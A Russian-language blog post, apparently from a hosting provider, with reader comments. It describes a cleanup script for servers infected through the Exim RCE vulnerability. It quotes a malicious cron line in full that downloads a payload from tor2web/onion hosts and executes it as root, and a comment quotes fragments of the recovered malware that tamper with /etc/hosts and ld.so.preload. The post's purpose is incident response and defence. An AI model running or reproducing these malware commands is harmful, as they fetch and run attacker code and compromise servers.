Уязвимость с RCE в Exim уже довольно сильно нашумела, и довольно сильно потрепала нервы системным администраторам по всему миру.

На волне массовых заражений (очень многие наши клиенты используют Exim в качестве почтового сервера) быстренько накидал скрипт для автоматизации решения проблемы. Скрипт далек от идеала и полон неоптимального кода, но это быстрое боевое решение для того, чтоб не выполнять однотипные действия на сотнях или даже тысячах серверов.

Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.

Как понять, что сервер взломан?


Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений


Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.

Важно: уязвимость позволяет исполнять код из под root'а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

Что делает скрипт?



1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений.
Например, таких:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp


2а. Если в папке /etc есть следы вирусного скрипта, делает следующее

  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
    /etc/cron.daily/cronlog
    /etc/cron.d/root
    /etc/cron.d/.cronbus
    /etc/cron.hourly/cronlog
    /etc/cron.monthly/cronlog
    /var/spool/cron/root
    /var/spool/cron/crontabs/root
    /etc/cron.d/root
    /etc/crontab
    /root/.cache/
    /root/.cache/a
    /usr/local/bin/nptd
    /root/.cache/.kswapd
    /usr/bin/\[kthrotlds\]
    /root/.ssh/authorized_keys
    /.cache/*
    /.cache/.sysud
    /.cache/.a
    /.cache/.favicon.ico
    /.cache/.kswapd
    /.cache/.ntp
    
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

2б. Если следов заражения нет, скрипт завершает работу.

Уточнения


Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.

curl также заражается вирусом, поэтому он переустанавливается.

Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

Как пользоваться?


Традиционно: перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

Для запуска скрипта:


Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

В терминале введите команду:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

Ожидайте завершения выполнения скрипта и перезагрузки сервера.

После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

Ну и напоследок


По сути, скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.

Все рекомендации по доработке/переработке скрипта приветствуются. Если вы столкнулись с другим симптомом заражения — покажите его, пожалуйста. Кооперация в моменты массовых заражений значительно снижает время, нужное на устранение этих заражений.

Удачи!

UPD1: Добавил на github.
Залил туда же исходник скрипта малвари, который удалось вытащить с зараженного сервера.
UPD2: для Centos 6 пришел релиз 4.92 в EPEL, теперь во всех версиях скрипта ставится из основных репозиториев. Изначально скрипт качал 4.92 для Centos 6 из EPEL/testing.

Комментарии (25)


  1. mxms
    10.06.2019 22:28

    Да, но только в текущей версии 4.92 вышедшей аж в феврале с.г. этой уязвимости нет, как нет её и в собранных без функции events пакетах.
    Очередной привет любителям древнего софта, одним словом.


  1. borisovEvg
    10.06.2019 22:34

    Можете на гитхабе скрипт разместить?



  1. bobrabobr
    10.06.2019 23:03

    Кирилл, большое Вам спасибо за скрипт, после ребута симптомов пока больше не видать.
    Можно спокойно заниматься переездом на свежую установку — согласен с Вами что так надёжнее…


  1. Anthony_K
    10.06.2019 23:27

    Небольшой офф: а проект баг тракер еще жив?


  1. mc2
    11.06.2019 00:18

    1. symbix
      11.06.2019 03:50

      Запускать рутом скрипт, не читая его, да еще и скачанный по http? Отличная идея!


      1. androidovshchik
        11.06.2019 16:33

        Причем тут рут? вы не можете от пользователя запустить? Если только не будет хватать прав. Да и лучше все равно смотреть так-то да


        1. maxzhurkin
          12.06.2019 08:02

          Странные у вас шутки: как может скрипт, запущенный с правами рядового пользователя победить зловред, имеющий права root?


          1. androidovshchik
            12.06.2019 14:45

            В идеале на vps лучше по возможности все делать с правами пользователя и использовать рут для особых случаев только. Естественно скрипты проверять. Это хотел сказать


            1. maxzhurkin
              12.06.2019 16:56

              Шестой абзац статьи сразу всё портит в ваших логических построениях: ВСЕ действия, совершаемые скриптом, требуют прав root. Вы, видимо, вообще не ту статью комментировали


      1. bobrabobr
        13.06.2019 21:26

        Вот к слову о птичках, если не видели на днях пост про запуск без проверки (и распространение без оценки) — рекомендую!
        https://habr.com/ru/company/flant/blog/454700/


    1. StSav012
      11.06.2019 07:27

      Заражённый curl не смущает?


  1. VanZan
    11.06.2019 06:35

    Озвучу то, что не было упомянуто в статье, либо не проверяется лечащим скриптом.

    Вирус меняет значение на «yes» для следующих параметров в конфиге SSH (/etc/ssh/sshd_config):

    PermitRootLogin yes
    RSAAuthentication yes
    PubkeyAuthentication yes
    UsePAM yes
    PasswordAuthentication yes

    Если параметр до этого отсутствовал или был закомментирован, то он дописывается в конец конфига.
    Не понимая, зачем эти параметры нужны, лучше ничего не трогать, т.к. можете потерять доступ к SSH.

    Кроме того вирус выключает SELINUX путём модификации /etc/selinux/config меняя значение с enforcing на disabled.

    В процессе вирус может установить, обновить или переустановить следующие пакеты:

    openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie

    Вирус может создать следующие файлы:

    /etc/ld.so.preload
    /tmp/.ld.so

    Кроме того, стоит проверить содержимое файла /etc/hosts на предмет наличия доменов с подстроками «onion» и «busybox»


    1. bananaseverywhere Автор
      11.06.2019 06:49

      Спасибо за дополнение!
      Я параметры SELinux и sshd скриптом не трогал — настройки SELinux и ssh у всех разные, выше шанс выстрелить себе в колено.
      Что касается hosts, то судя по коду исходного скрипта малвари — он из hosts строки с busybox и .onion вырезает:

      [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
      
      [ $(${sudo} cat /etc/hosts|grep -i "busybox"|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/busybox$/d' /etc/hosts >/dev/null 2>&1; }
      
      [ $(${sudo} cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }

      Что касается /etc/ld.so.preload и /tmp/.ld.so, исходный скрипт удаляет первый и делает его симлинкой на второй:
      if [ -f /etc/ld.so.preload ]; then
              if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
              ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
              >/tmp/.ld.so >/dev/null 2>&1
              ${sudo} rm -rf /etc/ld.so.preload* >/dev/null 2>&1

      Я не стал удалять /tmp/.ld.so в теле скрипта, так как он всё равно удалится при перезагрузке — создан в /tmp. А перезагружаться обязательно надо — малварь сидит где-то в открытых процессах и, соответственно, в памяти, и записывает себя по новой в крон каждые секунд 30.


      1. bobrabobr
        11.06.2019 11:51

        Про перезагрузку важный момент, допишу в соседний пост, спасибо.


  1. Sleuthhound
    11.06.2019 22:16

    Т.к. малварь может меняться, а она скорее всего будет меняться, т.к. те кто ее написали тоже читают статьи в Интернет и возможно уже прочитали эту статью. Поэтому самое логичное и правильное в ситуации с заражением — это отключить сервер от Интернет, загрузиться с linux livecd, вытянуть свои данные (сайты, бд и прочее) и отправить сервер под снос. Потом тщательно проверить все что слил с него и залить на новый сервер.


    1. bananaseverywhere Автор
      14.06.2019 13:27
      +1

      Я двумя руками за перенос на чистую ОС с тщательной ручной проверкой всего, что могли заразить, но делать это с зараженного сервера, у которого 100% CPU выедает майнер — сомнительное удовольствие. Скрипт позволяет привести сервер в околорабочее состояние и вычистить очевидную малварь, чтобы потом уже перетащить данные и не рвать на себе волосы от страшного даунтайма.


  1. scruff
    12.06.2019 05:52

    Осталось написать скрипт по upgrade-у сервера до более новой версии, чтобы без бессонных ночей, танцев с бубном и разговоров с начальством.


    1. bobrabobr
      12.06.2019 12:16

      Обновление нужно только exim до патченной версии (или 4.92), это делается одной строчкой (не забудьте перезапуск процессов или ребут).

      Обновление же всего сервера тут не при делах — хоть неделю без сна проведите, вряд ли это что-то добавит. И убрать уже проникшую и спрятавшуюся малварь (если такая есть) не поможет.

      Только чистая установка.


      1. scruff
        14.06.2019 07:51

        Также интересен механизм атаки — через что проникает зловред. Ведь во вне сервак вроде как опубликован только почтовыми портами (smtp/pop3/imap) и https для вэбконсоли. не так ли?


        1. bobrabobr
          14.06.2019 07:55
          +1

          Веб тут не при делах, и без веба ломается. Уязвимость почтового сервера exim, подробности опубликованы в оригинальном отчёте (на англ.)

          Вкратце — шлют письмо на специально составленный адрес на Вашем домене. Собственно, в некоторых случаях этого уже достаточно.

          Если нет — недельку держат коннект открытым, каждые 4 минуты кидая по байту во избежание таймаута. Нужно чтобы 2-дневный лимит недоставленных писем обойти. Все детали в отчёте, все периоды — для конфига по умолчанию.

          А далее — всё, RCE (удаленное выполнение команд), причём от рута. Там уже делают что им захочется.


  1. jok40
    13.06.2019 15:13

    Если первым пунктом Вы обновляете Exim, то почему потом приходится очищать очередь от писем с эксплойтом?


    1. bobrabobr
      13.06.2019 21:31

      Вот кстати интересно Вы подметили… обновлённую-то версию гадость из очереди уже не должна зацепить. Т.е. чисто логически это по идее лишний шаг. Любопытное наблюдение!


    1. bananaseverywhere Автор
      14.06.2019 13:30
      +1

      Честно говоря, да, немного избыточно. Этот шаг должен покрывать довольно маловероятный случай, когда подключены репозитории без патченной версии\Exim ставится не из родных реп и шаги с обновлением, по факту, ничего не обновили.
      Отчасти из-за этого же я не стал зашивать killswitch по версии Exim — «лучше перестраховаться».